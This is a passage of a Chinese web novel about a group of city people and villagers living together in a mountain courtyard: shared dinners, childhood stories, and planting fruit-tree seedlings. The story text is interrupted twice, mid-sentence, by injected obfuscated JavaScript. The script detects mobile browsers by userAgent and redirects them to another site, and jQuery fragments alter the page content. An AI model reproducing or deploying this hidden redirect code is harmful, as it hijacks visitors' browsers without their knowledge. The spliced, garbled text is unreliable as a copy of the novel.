“大清早四点钟,鸡都没醒,他先醒了。”她手里的筷子轻轻点了点碗沿,“露水把裤腿打得能拧出水来,他一声不吭走了二十里山路。” 建国叔端着碗,筷头在米饭里戳了戳,没抬头。 “到了镇上,找了个热闹地儿蹲下,把筐往跟前一摆,等着开张。”阿桂姐顿了顿,眼皮抬了抬,“等了半个时辰,终于来人了。” 她身子往前探,压低声音,“那人蹲下来,翻翻笋,又翻翻笋,问:老乡,你这萝卜怎么卖?” 沈摘星勺子停在半空。 阿桂姐没急着往下说,只是嘴角弯了弯,瞥了建国叔一眼。 建国叔的筷头在碗里顿了一下。 “建国说,这不是萝卜,是春笋。”阿桂姐声音依旧平缓,只有眼底藏着笑,“黄泥拱,顶顶好的春笋。他说,你看看这笋尖,你看看这笋壳——” 她手指在空气里轻轻点了点,动作很轻,像是在比划笋的样子。 “那人被他说得愣了愣,又翻了翻,问:那怎么是红的?” 阿桂姐顿了顿,又看了建国叔一眼。 建国叔的耳根已经红透了。 “建国说,这是红壳笋。”阿桂姐声音里终于透出一点笑意,很淡,“那人说,那不就是红萝卜吗。” 桌上哄地笑开了。 二伯闷闷地笑出声,二伯母拿筷子直摇头。 阿桂姐没跟着笑,只是低头夹了一口菜,等笑声落下去,才继续开口,“建国不卖了,挑起筐就要走。那人拽着筐不让走,说你这人怎么这样,不卖就不卖,你倒是把萝卜给我留下啊——” 她没学建国叔梗脖子的样子,只是说这话时,语气里带了一点无可奈何的纵容。 “那后来呢?”夏叙言没有被逗笑,倒是沈摘星先笑了。 夏叙言听见笑声,跟着弯了弯嘴角,没插嘴,把自己碗里那块最大的腊肉悄悄夹到沈摘星碗边。 沈摘星愣了一下,小声说,“叙言哥,你自己吃呀。” “你还在长身体”夏叙言笑道,“多吃点,这样才能长高高。” 旁边的二伯母看见,笑着摇摇头,又给夏叙言夹了两片肉。 “后来?”阿桂姐瞥了建国叔一眼,眼角全是细细的笑纹,“后来他把笋原封不动挑回来,筐里还多了三根萝卜。我问哪儿来的,他说,人家硬塞的。” 建国叔终于抬起头,瓮声瓮气地辩解,“那不是硬塞,是我买的。” “你买萝卜干什么?” “……”建国叔顿了顿,“看着水灵。” 二伯母笑出了眼泪,拿手背直擦眼角,二伯笑得皱纹全挤到一块儿去了。 阿桂姐没笑。她只是端起汤碗,润了润嗓子,等笑声慢慢平息下来。 “那三根萝卜,他切丝炒了三顿。”她放下汤碗,声音又恢复了平日那种不紧不慢,“我问他好吃不,他说——” “还行。”建国叔抢在她前头接话,声音闷闷的。 他把自己碗里挑干净刺的鱼肉,轻轻放进阿桂姐碗里。 阿桂姐低头看了看那块鱼肉。 鱼肉雪白,刺挑得干干净净。 她没说话。只是拿起筷子,把那块鱼肉夹成两半,一半放回建国叔碗里。 “还行。”她说,声音很轻。 李乘歌和傅拭雪就这样看着他们乐呵地聊。 碗里地汤喝完了,李乘歌的手刚往汤勺那边伸,勺柄已经递到掌心里了,动作微愣了一下。 她明明还没碰到勺子。 李乘歌抬眼往那边望了一眼,发梢被风撩起一缕,他正好侧头看她。 四目相对。 只是一瞬,两人同时移开目光。 但勺柄上还留着他指尖的温度,比她掌心的暖一点。 她低下头,盛汤,很慢。 然后轻轻把勺子放回他手边,勺柄朝着他的方向。 夜色已经完全浓了,山里的星星格外亮,像无数双温柔的眼睛,沉默地注视着这个被灯光温暖的小院,看着这群因缘际会聚在一起却来自不同世界的人。 山风吹过,老槐树的叶子沙沙作响,像在轻声应和。 傅拭雪突然感慨道,“真热闹啊。” “是啊。”李乘歌接话,声音里带着怀念,“让我想起小时候的院子了。” 大家都安静下来,看向她。 李乘歌捧着饭碗,眼神有些飘远,嘴角带着温柔的弧度,“我记得,小时候爷爷在的时候,院子里有棵老柿子树,特别高,特别大。到了秋天,柿子熟了,红彤彤的,像挂了一树的小灯笼。” “那时候我还小,大概……七八岁吧。爷爷会搬来一架长长的木梯子,靠在树上,颤巍巍地爬上去摘柿子。我和堂哥堂姐们就在下面,仰着头,伸着手,等着接。” “柿子很甜,熟透了,软软的。但更多的时候,我们根本接不住,爷爷从那么高的地方丢下来,柿子啪一声砸在地上,金黄色的果肉溅得到处都是,黏糊糊的,弄脏了衣服,弄脏了手。我那时候可嫌弃了,觉得又脏又麻烦。” 傅拭雪下意识询问,“那后来呢?” “后来啊。”二伯忽然开口了,声音低沉温和,带着笑意。 他一直安静地听着,此刻自然地接过了话头,“阿爸就会从梯子上下来,看着一地狼藉,也不生气,只是笑呵呵地说:接不住也没关系,掉在地上的,捡起来洗洗还能吃。” 二伯母也笑了,补充道,“是啊,土地是最不嫌弃的。你摔了跤,它托着你。你浪费了东西,它帮你收着。洗干净了,照样是甜的。” 桌上静了一瞬。 傅砚修握着筷子的手紧了紧。 他想起今天下午,自己挖断那些笋时,心里一闪而过的烦躁和隐秘的羞耻。 他下意识地觉得,弄坏了,就是失败了,就是没用的东西。 可原来,掉在地上的柿子,洗洗还能吃。断了的笋尖,也能炖出一锅好汤。 宋鹤眠静静地听着,她想起很多事,想起那些被包装得容不得半点瑕疵的生活,想起那些因为一点点不完美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310830|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就被丢弃的东西,想起自己一直以来被教导的对完美的执着追求。 傅拭雪看着李乘歌,眼神柔软。 他仿佛能看见那个小小的皱着眉嫌弃柿子汁黏手却又忍不住抬头期待的小女孩。 李乘歌从回忆中回过神来,有些不好意思地笑了笑,“扯远了,大家快吃,菜要凉了。” “不扯远,好听。”傅拭雪真诚地说,“你爷爷真好。” “嗯。”李乘歌点点头,眼里有光,“他是个特别豁达的人。” 气氛重新活跃起来。 二伯母开始给大家添汤,沈摘星小声问夏叙言城里有没有柿子树,阿桂姐和建国叔低声商量着明天去镇上的事。 傅拭雪舀了一勺蒸蛋,自然地放进李乘歌碗里,“多吃点,今天辛苦了。” 李乘歌脸一红,小声说,“你自己也吃。” 傅砚修吃完了最后一口饭,放下筷子。 碗空了,心里却觉得……满了。 他抬起头,正好看见宋鹤眠也刚放下筷子。 两人的目光在空中相遇。 没有言语,但有什么东西,在悄然改变。 夜渐深,星光愈发明亮。 山风吹过竹林,沙沙声如潮水般涌来又退去。 在这个远离城市喧嚣的山村里,在这个院子里,灯火温暖,饭菜飘香,人声低语。 生活,也刚刚开始。 吃到后面,木桶里的饭吃完了。 傅拭雪起身去厨房添饭,李乘歌也跟着站起来,“我去盛汤。” 两人一前一后进了厨房。 门帘落下,隔开外面的说笑声,厨房里只剩下灶台上小火慢炖的汤锅,咕嘟咕嘟地冒着泡,热气在昏黄的灯光里升腾。 李乘歌拿起汤勺,傅拭雪站在她身侧,很自然地接过她手里的汤碗。 两人的手在递接时短暂地相触。 李乘歌的手指沾了汤水,温热湿润。傅拭雪的指尖微凉,但掌心是暖的。 “小心烫。”傅拭雪说,声音压得很低,带着气音,只有咫尺之遥的两人能听见。 他的呼吸随着话语,轻轻拂过李乘歌的耳畔。 李乘歌“嗯”了一声,没抬头。 她能清晰地感觉到他靠近的气息,不是香水,不是任何人工调和的香味,而是独属于他的干净的气息,混合着白天干活后淡淡的汗味并不难闻。 “砰”、“砰”、“砰”—— 陡然加速的心跳声,在安静的厨房里仿佛能被听见。 外面传来夏叙言夸张的笑声,“摘星!你居然把鸡腿让给我?不行不行,这是小孩子的专利!” “我已经不是小孩子了!”沈摘星抗议,声音里带着倔强,“我快十八了!” “十八也是小孩子。”夏叙言坚持,“等你二十岁再说。” “那还要等两年……” 李乘歌听着,嘴角不自觉地扬起,方才的微妙紧张被这温馨的斗嘴冲淡。 她舀起一勺汤,奶白色的,里面浮着几粒枸杞和红枣,汤勺碰到碗沿,发出清脆的声响。 “他们相处得不错。”傅拭雪说。 “嗯。”李乘歌点头,把汤勺递给他,“夏叙言看着大大咧咧,其实挺会照顾人的。” 傅拭雪靠近了一步,厨房空间本就不大,他这一靠近,两人之间的距离瞬间缩短到几乎没有。他的肩膀几乎要碰到她的,体温隔着薄薄的衣衫传递过来。 “摘星也是。”他的声音更低了些,就在她耳边,“这么小的年纪,懂事得……让人心疼。” 两人就这样保持着极近的距离,低声说着话,肩膀时不时因为动作而轻轻碰到一起。 厨房狭小,转身拿碗、递勺子、舀汤,每次触碰都不可避免。 起初两人还会下意识地微微一顿,随即分开,但渐渐地,那份不自然消失了,触碰变成了自然而然的事,谁也没有再刻意避开。 盛好汤,他们端着碗走出去。 饭后,夏叙言主动承担了洗碗的任务,拉着沈摘星一起。 水井边传来哗啦啦的水声,两人一边洗一边斗嘴,嘻嘻哈哈的。 宋鹤眠帮忙收拾桌子,动作虽然生疏,但很认真。 她把碗筷叠好,用抹布仔细地擦桌面的油渍。 傅拭雪在整理厨房,把剩下的食材封好放进柜子。 傅砚修坐在院子里的石凳上,没动。 他仰头看着夜空,手指在膝盖上轻轻敲着,像是在思考什么。 李乘歌拿着扫帚扫地,扫到傅砚修脚边时,他忽然开口,“李小姐。” 李乘歌停下手里的动作,“嗯?” “你是怎么和我哥认识的?” 李乘歌直起身,握着扫帚柄,“我失业回家,推开小院的门,他就在这里。” 傅砚修点了点头,也没再追问下去。 李乘歌也不解释,继续扫地。扫到院子角落时,她看到宋鹤眠站在那里,仰头看着星空。 “宋小姐也喜欢看星星?”李乘歌走过去。 宋鹤眠侧过头,夜色里她的侧脸线条柔和,少了几分白天的疏离感,“城里看不到这么多星星。” “是啊。”李乘歌也抬起头。 “李小姐。”宋鹤眠忽然开口,声音很轻,“你相信命运吗?” “有时候信,有时候不信。”李乘歌想了想说,“遇到美好的事,就觉得是命运馈赠,遇到糟糕的事,就觉得是命运捉弄。” 宋鹤眠轻轻笑了,笑声很短促,“很实在的回答。” “你呢?”李乘歌问。 宋鹤眠沉默了很久,久到李乘歌以为她不会回答了。 但最后,她还是开口了,声音低得像自言自语,“我信选择。” 说完这句话,她转身朝着房间走去。 李乘歌看着她的背影消失在门后,若有所思。 傅拭雪收拾完厨房出来时,院子里只剩下傅砚修还坐在石凳上。 “哥。”傅砚修听到脚步声,没回头。 傅拭雪走过去,在他旁边的石凳上坐下。 石凳很凉,隔着裤子也能感觉到。 “想问什么?”傅拭雪直接问。 傅砚修开口,“哥,你为什么要一声不吭地离开傅家?” “哥,你的选择是什么?” 22. 进苗 “哪有什么选择。”傅拭雪抬手,自然地揉了揉弟弟还有些蓬乱的头发,“我是真心被这里……被大家留下来的。” 不是他选择了这片土地和这些人,而是这片土地和这些人留住了他。 刚刚竖起耳朵对这个答案同样抱有好奇的李乘歌,闻言微微一怔。 她看着傅拭雪平静的侧脸,那上面没有勉强,没有不甘,有的只是坦然。 这个答案,既在意料之外,又仿佛在情理之中,像一枚投入深潭的石子,在她心里激起了一圈圈思索的涟漪。 但他没有继续说下去,关于如何被留下,为什么被留下,他选择了留白。 傅拭雪似乎察觉到她凝视的目光,转过头,对上她的眼睛。 四目相对,答案似乎在他们之间无声流动。 李乘歌看到他眼底映着厨房透出的暖光,还有一丝只对她流露的温和。 对啊,每个人都在都在选择。 傅拭雪选择来到这里,夏叙言和傅砚修选择跟过来,宋鹤眠选择逃到这里,她自己选择回到这里,沈摘星选择努力读书走出大山。 不同的选择,把不同的人带到这个时间,这个地点,这个院子。 然后呢? 李乘歌不知道。 她只知道,明天太阳会照常升起,竹林里的笋还会破土,阿桂姐会坐在轮椅上直播,沈摘星会走出去,傅拭雪会留在这里。 而她自己,会继续观察,记录,思考。 这就是生活。 不完美,不确定,但真实。 人多了,小小的院子热闹起来,连带着几间略显空荡的屋子,也仿佛被注入了生气。 夜深了,但东厢房的大屋里还亮着灯,此刻,女孩子们这间屋的窗户开着,温暖的灯光流淌出来。 李乘歌盘腿坐在自己床上,怀里抱着一个洗得有些发白的旧玩偶,那是她小时候的玩具,从老箱底翻出来的。 她什么都没做,只是安静地看着房间里的另一幕。 靠窗那张老式书桌旁,一盏光线柔和的旧台灯洒下一圈温暖的光晕。 宋鹤眠正坐在那里,微微倾身,手里拿着一支笔,在沈摘星的作业本上轻轻点着,低声讲解着什么。 她的声音不高,很清晰,褪去了白日里的清冷疏离,带着一种难得的耐心,“这里,你看,关键是要找到这个等量关系……” 沈摘星紧挨着她坐,小脑袋凑得很近,听得极其专注,偶尔点点头,或小声提出疑问。 橘色的灯光勾勒出两人认真教学的侧影,纸张翻动的沙沙声,笔尖划过纸面的细微声响,低声的问答。 这一切,交织出一种宁静而专注的学习氛围。 李乘歌看着看着,心头忽然涌起一股奇异的熟悉感,仿佛时光倒流。 这场景,这氛围,像极了大学时宿舍熄灯前,室友们挤在一起讨论课题和复习备考的夜晚。 温暖,简单,目标明确,带着为未来努力的蓬勃劲儿。 除了李乘歌这般想,夏叙言也这么觉得。 爬上床的夏叙言,一边拍打着枕头试图让它更蓬松些,一边看着对面床上正在就着床头灯看一本旧书的傅拭雪。 他说,“拭雪,你看我们现在像不像回到了大学,一起在宿舍里的集体生活。” 傅拭雪从手中那本关于山区土壤改良的书上抬起头,昏黄的灯光在他脸上投下柔和的阴影。 他看了眼夏叙言孩子气十足的笑脸,又环视了一下这间简陋却因人多而显得温暖拥挤同样充满生活气息的屋子,墙壁上甚至还贴着不知谁从旧报纸上剪下来的风景画。 “是有点像。”他笑道,“缘分这东西,很多是靠人创造的,家也是。” 这句话飘散在夜晚的空气里,不知隔壁的李乘歌是否听见,也不知夏叙言和闭着眼睛的傅砚修听进去了多少,但傅拭雪说得很认真。 夜渐深,沈摘星终于解开了最后一道难题,小心地收拾好课本和文具,站起身,对着宋鹤眠郑重地鞠了一躬,小脸认真,“谢谢宋姐姐!我都懂了!” 宋鹤眠似乎有些不习惯这样郑重的感谢,愣了一下,随即不太自然地伸出手,揉了揉沈摘星柔软的发顶,声音比刚才更柔和了些,“是你自己认真,很晚了去睡吧。” 等沈摘星轻手轻脚爬回自己的小床,很快传来均匀细小的呼吸声,宋鹤眠才走到桌边,手指轻轻按下开关,啪一声轻响,关掉了台灯。 房间陷入黑暗,只有窗外透进的些微天光。 李乘歌伸手,将木窗轻轻合拢,她也躺下了。 枕头是荞麦壳填充的,硬硬的,硌着脖子,需要不断调整才能找到一个相对舒服的位置。 但枕套是今天刚晒过的,散发着阳光晒过后特有的干燥而温暖的味道,让人安心。 她蹭了蹭枕头,闭上眼。 山村的夜晚格外安静,静得能听见自己的心跳和均匀的呼吸,能听见远处溪水永不停歇的潺潺声,像大自然的白噪音。 她很快沉入睡眠的深海,又缓缓浮起,进入了一个色彩明丽的梦境。 梦里,她看见一片无边无际的竹林,春笋破土而出,一支接一支,嫩黄鲜亮。 笋尖上站着小人儿,有傅拭雪,有夏叙言,有沈摘星,有傅砚修,有宋鹤眠,还有她自己。 小人们手拉着手,围成一个不太规则的圈,在如水般清亮的月光下,踩着竹叶沙沙的节拍,笨拙而欢快地跳舞。 没有音乐,只有风声,竹叶声,和彼此无声的笑。 跳着跳着,笋越长越高,小人儿们顺着笋往上爬,一直爬到星空里,变成一颗颗闪亮的星星。 而地上,新的笋又破土了。 周而复始,生生不息。 然后天际就泛起白边,很淡的一线,像谁用清水在靛蓝的宣纸上晕开一道笔痕。 整个山谷已经被乳白色浓雾填满,雾是从山谷底爬上来的,缓慢流动,吞没了一切轮廓。 院子隐在雾里,只露出玉兰树最高的几根枝桠。 傅拭雪已经起来了。 他推开房门时,雾气立刻涌了进来,带着山林清凉而湿润的气息。 他将裤脚利落地塞进半旧的靴子里,上身是一件灰色的纯棉,袖口挽到小臂,头发有些凌乱,显然刚用手随意扒拉过。 他没有立刻动作,只是站在屋檐下,仰头看了看天色。 雾气立刻沾湿了他浓密的睫毛,凝成细小晶莹的水珠,挂在那里,让他本就深邃的眼睛在晨雾中显得格外清亮。 他的侧脸线条在朦胧的光线里柔和了几分,下颌处有新冒出的青色胡茬。 厨房的灯亮了。 昏黄的光从窗户透出来,在雾里晕开一片温暖的光晕。 接着,厨房门吱呀一声被推开。 李乘歌端着两碗粥走出来,她似乎也起得很早,长发松松地编成一条辫子垂在肩侧,几缕碎发落在额前,被雾气打湿。身上套了件略大的藏蓝色针织开衫,显得身形有些单薄。 手里端着的粗瓷碗冒着袅袅的热气,那热气一离开碗沿,就迅速融入浓雾中,分不清彼此。 “早呀~”她走到傅拭雪身边,声音还带着刚刚醒来特有的微哑和柔软。 她把一碗粥放在旁边的石桌上,另一碗递给他。 傅拭雪接过碗,指尖碰到她温热的手背,两人都自然地收回手。 碗很烫,粥是小米混着大米熬的,黄白相间,里面掺了切成小块的红薯,已经炖得软烂,甜香扑鼻,在这清冷的晨雾里显得格外诱人。 “嗯。”傅拭雪应了一声,低头吹了吹粥面升腾的热气,“昨晚苗圃那边跟我确认了,我们订下的菜苗和果苗,今天早上七点送到村口。雾大,路不好走,得早点去接应。” 李乘歌有些惊讶,捧着自己那碗粥,在石桌旁坐下,“嗯。” “我还定了几颗果树。” “后山朝东的那片缓坡,我带着工具和本子去仔细勘测过几次了。土质疏松,是典型的砂壤土,偏酸性,正合适。日照从早到晚都很充足,几乎没有遮挡。” “坡地的自然排水性也好,不会积水涝根。适合先种点对气候和土壤要求不那么苛刻、比较皮实耐操的耐寒果树试试水,积累经验。” 傅拭雪舀起一勺粥送进嘴里,被烫得微微蹙眉,但很快舒展开。 “什么果树?”李乘歌问,也小口喝着粥。热粥下肚,驱散了晨起的寒意。 “订了些板栗苗,核桃苗,还有……”傅拭雪说到这里,停顿了一下,抬起眼,目光落在李乘歌脸上,眼神里有种很浅的几乎难以捕捉的笑意,但确实存在,“……还有几棵柿子树苗。” 他补充道,语气寻常,“你不是说,小时候老院子里那棵柿子树,结的果子特别甜吗?” 李乘歌正低头搅动粥碗的动作,猛地一顿。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310831|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她抬起头,毫无防备地撞进傅拭雪的目光里。 昨晚饭桌上她只是随口提起的童年回忆,他却记住了,并且付诸行动。 一股陌生而汹涌的暖流,毫无预兆地冲垮了心防,从心底最不设防的地方奔涌而出,瞬间蔓延至四肢百骸,让她指尖都有些发麻。 那暖意比手里捧着的热粥更熨帖,更持久,更深入人心,像冬日的暖阳照进了心里某个角落。 她忽然觉得喉咙有些发紧,说不出更多的话,只能低下头,用勺子更慢地搅动着碗里黄澄澄的粥,嗯了一声,算作回答。 她没有再多说一个字,但微微发红的耳根和嘴角那抹抑制不住上扬的弧度,早已泄露了她。 傅拭雪清晰地感受到了她情绪的波动,也捕捉到了她嘴角那抹真实的笑意。 但他什么也没说,没有追问,没有调侃,没有点破,甚至没有再看向她。 他只是静静地收回目光,重新专注于自己碗里还剩下一半的粥。 两人就这样坐在晨雾弥漫的院子里,安静地喝着粥。 偶尔碗勺相碰,发出清脆的声响,在这静谧的清晨格外清晰。 雾气在他们身边缓缓流动,像无声的河流。玉兰树的轮廓在雾中时隐时现,像一幅淡墨山水画。 “需要帮忙吗?”李乘歌喝完最后一口粥,问道。 “需要。”傅拭雪也吃完了,放下碗,“苗不少,得多几个人去搬。夏叙言那小子力气大,得叫上。 “傅砚修……让他也活动活动。” “宋鹤眠呢?”李乘歌问。 傅拭雪沉吟了一下,“她如果愿意,可以一起去看看。如果不想,也不必勉强。” 他对宋鹤眠始终保持着一种有距离的尊重,不过分热情,也不刻意排斥,给她留足了自我选择的空间。 欢迎她来,也是因为她愿意来。 “那我去叫他们。”李乘歌站起身,端起空碗往厨房走,脚步轻快。 傅拭雪看着她消失在厨房门后的背影,也站起身,开始活动手脚,为接下来的体力活做准备。 他走到院子角落,检查堆在那里的几把新铁锹和几只大号竹筐,都是为今天准备的。 晨雾依旧浓重,但东方天际,已经隐隐透出了一丝极淡的红日光晕。 新的一天,即将真正开始。 李乘歌先是轻轻敲了夏叙言的门。 里面立刻传来咚一声闷响,像是有人从床上滚了下来,接着是窸窸窣窣和含糊的嘟囔,“来了来了……天还没亮吧……” 门开了,夏叙言顶着鸟窝似的头发,睡眼惺忪,但看清是李乘歌,立刻努力睁大眼睛,扯出笑容,“早!有活儿?” “嗯,傅拭雪订的树苗到了,在村口,需要人手去搬。”李乘歌言简意赅,“然后麻烦叫一下傅砚修,我们一起。” “没问题!”夏叙言瞬间清醒,“等我两分钟!不,一分钟!” 说着就缩回房间,里面传来兵荒马乱的穿衣声。 接着是沈摘星和宋鹤眠。 李乘歌刚抬手,门就自己开了。 沈摘星已经穿戴整齐,马尾辫扎得一丝不苟。 “乘歌姐姐早。”小姑娘声音清脆,带着晨起的活力。 宋鹤眠已经起来了,甚至可以说是收拾妥当了。 她换了一身更方便活动的深色运动裤和抓绒衣,长发高高束成马尾,脸上没有化妆,素净的脸在晨光下显得有些苍白,但眼神清明。 “早。”李乘歌打招呼,“傅拭雪订的菜苗和果苗今天早上送到村口,雾大路不好走,我们需要人手去帮忙搬运。有兴趣一起去看看吗?就在村口,不远。” 她沉默了几秒,然后点了点头,声音平静,“好,我去换双鞋。” 她脚上还是那双不太适合走山路的软底便鞋。 夏叙言洗漱出来,就瞧见傅砚修他靠坐在床头,手里拿着手机,屏幕亮着,上面是复杂的曲线图,似乎在看财经数据。 房间里弥漫着淡淡的咖啡味,他不知从哪里弄来了一小罐速溶咖啡,用保温杯冲了。 夏叙言走过去,“你哥订的树苗到了,在村口,需要人去搬,你要不要一起?” 傅砚修的目光从手机屏幕上移开,看向窗外浓得什么也看不见的雾,又看向夏叙言,眉头几不可察地皱了一下,但最终,他放下手机,掀开被子下床,“行,等我一下。” 23. 果树 傅砚修换上了昨晚找出的耐脏旧衣和登山靴,来到卫生间。 水龙头拧开,冰凉的水冲出来。 他弯下腰,双手捧了两掊冷水,直直往脸上泼。一下,两下。 他直起身,对着镜子里那张湿漉漉的脸看了两秒,随手抹了把脸上的水珠,把垂下来的额发往后一捋。 当他推开房门时,雾气已经比清晨时淡了些许,但依旧缭绕。 院子里,大家都已整装待发。 傅拭雪和李乘歌并肩站着,他的袖子挨着她的袖口,灰蓝色和深灰色贴在一起,被风轻轻吹动。 沈摘星背着背篓微微仰着头,正低声和夏叙言说着什么。她说话时眼睛亮亮的,偶尔用手比划一下。 夏叙言低着头听,也不插嘴,只是时不时点一下。她说到兴头上,背篓的带子从肩上滑下来,他没抬眼,伸手给她扶了回去。 宋鹤眠安静地站在稍远处,换上了合脚的登山鞋,深色衣裤让她几乎要融进朦胧的背景里,只有那双眼睛在晨光中显得格外清亮。 对上他的视线,宋鹤眠轻柔一笑。 傅砚修垂眸移开视线。 “到齐了,我们出发了。” 一行人沉默地步入晨雾,沿着湿滑的山路向村口走去。 山路蜿蜒,露水打湿了裤脚,凉意透过布料渗进来。 等到了村口那棵标志性的银杏树下,装苗的小货车早已等在那里。 司机老陈是个嗓门洪亮的中年汉子,正蹲在车边抽烟,看见他们,立刻站起身,笑容满面地迎上来,“小傅来啦!苗都给你们码好了,一捆没少,就等着你们来搬呢!” 车斗里,树苗被草绳整齐地捆扎着,根部带着湿润的泥土,用湿麻袋仔细包裹着。 傅拭雪看了一眼从车斗到院子的距离,又看了看雾还没散尽的山路,转头对老陈说,“陈叔,把车开到院子门口吧,这样搬树苗轻松一点。” 老陈叼着烟点点头,麻利地钻进驾驶室。 众人往旁边让了让,车子发动,突突突地往院子门口挪,排气管喷出的白气很快被雾气吞没。 等车停稳,老陈熄了火跳下来,拍了拍车斗边缘,“行了,到位了!” 傅拭雪走到车斗边,伸手扒拉了一下最上面那捆板栗苗,转头看向老陈,“陈叔,哪捆最重?” “那还用说?”老陈拍了拍车斗角落里那捆捆得最结实的核桃苗,笑得眼睛眯成一条缝,“这捆!土球最大,怕不得有个八九十斤。” 傅拭雪看了一眼那捆苗,又看了一眼正往这边走的两人,喊了一声,“夏叙言、傅砚修过来搭把手。” 夏叙言刚才抄了近道,从田间小路直接穿过来,裤腿上沾了几根草叶子。听见喊声,他三两步跨到车边,把袖子往上撸了撸,露出精瘦的小臂,“来了来了!” 傅砚修原本落在后面,听见喊声疾步跑过来,到车旁时微微有些喘。他站到那捆核桃苗旁边,低头看了看苗的大小,又抬眼看了看夏叙言,没说话,只是往他旁边靠了靠,双手攥住了草绳。 “我数三二一,一起用力。”傅拭雪也在另一端蹲好,攥紧绳子,抬眼看了两人一眼。 夏叙言点点头,身子往下沉了沉,深吸一口气。 傅砚修没吭声,只是攥绳子的手紧了紧。 “三、二、一……” “起!” 三个人同时发力。 一声闷响,那捆沉甸甸的核桃苗离开了车斗。 夏叙言的脸憋红了一瞬,身子晃了晃,膝盖弯了一下,又硬生生挺直了。他咬着后槽牙,从喉咙里挤出一声,“走……走……” 傅砚修那边也好不到哪去。他双手攥着绳子,整个人往后仰着,步子往后退得磕磕绊绊,但愣是没松手,也没让那捆苗歪了。 傅拭雪在最前头,步子稳,肩背绷得紧紧的,绳子在他肩上勒出一道深痕。他侧头看了一眼后面两人,脚下没停,只是沉声说了句,“往院子走,别停。” 三个人就这么一步一晃地把那捆八九十斤的核桃苗往院子里挪。 李乘歌站在车边看着,手里还拿着一捆番茄秧。她没说话,只是看着那三个人的背影。 傅拭雪走在最前头,步子稳得很。夏叙言在后面龇牙咧嘴,嘴里不知道在嘟囔什么。傅砚修夹在中间,腿倒腾得挺快,就是路线有点飘。 沈摘星也看了一会儿,小声问:“乘歌姐姐,他们能行吗?” 李乘歌收回目光,低头把那捆番茄秧拆开,数了数。 “能行。”她声音轻轻的,带着点笑意,“放心吧,底下两个皮实的,摔不着上面那个。” 老陈叼着没点的烟,眯着眼看着那三个人歪歪扭扭走远的背影,烟头在嘴角抖了抖。 “嘿,”他乐了,“这仨小子,挺能折腾。” 分配任务自然地进行,大的树苗被三个男人承担着,其余的人就将几个小的树苗搬进院子里。 一趟,两趟……浓雾渐渐散去,阳光艰难地穿透云层,洒在湿漉漉的山路上,映出忙碌的身影。 汗珠从额头滚落,衣服后背被汗水浸湿,又沾上了泥土。 没有人说话,只有沉重的呼吸声、脚步声和苗木落地时沉闷的声响。 夏叙言和傅砚修抬着最后一捆板栗苗走进院子时,两人都喘着粗气,额发湿透贴在额头上。 夏叙言一放下担子就瘫坐在地上,大口喘气,“好累……这比健身房累多了……” 傅砚修则靠在一旁的墙上,胸膛起伏,看着满院的绿色成果,虽然很累,但心里却很充实。 短暂的休息后,真正的战役才刚开始。 后山那片缓坡已经被傅拭雪提前清理出来,用石灰粉划出了大致的种植区域。 剩余的菜苗和葡萄苗都被卸在了大棚旁的路边,但由于小苗有基质土,他们最先要做的就是将小果树种下。 傅拭雪他脱掉外套,只穿着那件灰色T恤,手臂肌肉随着铁锹的起落而绷紧舒展。铁锹插入泥土,脚踩锹肩,用力一撬,带着草根的土块便被翻起,露出下面湿润的深色土壤。他的动作沉稳有力,每一个坑的深度和间距都尽量把控着。 李乘歌和沈摘星跟在后面,一个负责放置树苗,扶正,一个负责用小铲子回填第一层细土,并轻轻踩实。 夏叙言被分配了最暴力的活儿,用大锤将支撑树苗的竹竿砸入土中。 他干得兴起,脱了外套,一件老汉服露出结实的上身,汗珠在阳光下闪着光,他抡圆了胳膊,“嘿哈!” “咚!” 木锤带着风声砸下,竹竿稳稳入土一寸。 每砸一下,他都配合着一声短促有力的呼喝,惊得远处林子里休憩的鸟儿扑棱棱飞起一片。 傅拭雪不得不从远处直起身,手搭树苗望过来,扬声提醒,语气里带着无奈的笑意,“夏叙言!轻点!劲儿使匀了!竹竿要让你砸裂了!” 傅砚修被安排去提水,从小院旁的溪流里打水上来浇定根水。 这活儿不轻松,山路崎岖,水桶沉重,几趟下来,他气喘吁吁,昂贵的登山裤膝盖处也磨破了,沾满泥浆。 午后,阳光变得有些灼人。 大部分果树苗已经种下,在缓坡上排列成略显稚嫩却整齐的行列,嫩绿的叶片在微风中轻轻颤摇摆,尽管有些蔫,却已然展现出生命的韧劲,承载着新生的希望。 傅砚修终于完成了最后一趟提水任务,浇完了最后一棵核桃苗。 他拖着几乎不属于自己的双腿,将最后的小树浇好水,他就背靠着小树,缓缓滑坐到尚带湿意的土地上。 他低头,摊开双手,掌心磨出了好几个亮晶晶的水泡,有些已经破了,边缘翻起薄薄的皮,露出底下粉嫩的新肉,火辣辣地疼。手指和指甲缝里塞满了黑乎乎的泥污,登山裤膝盖处破洞边缘磨损起毛,沾着干涸的泥浆和草屑,裤子其他地方也布满污渍。 他看了看自己的手,又低头看了看自己的裤子。 随后他低低地笑出了声。 他抬起头,看向不远处。 李乘歌和傅拭雪并肩站在地头,两人脑袋凑在一块儿,盯着手里那张画得潦草的规划图,傅拭雪指着远处那片坡地,嘴里说着什么,李乘歌边听边点头,顺手用笔在图上面加了几笔。 阳光从他们身后照过来,给两个人镀上一层薄薄的金边。 他又往另一边看。 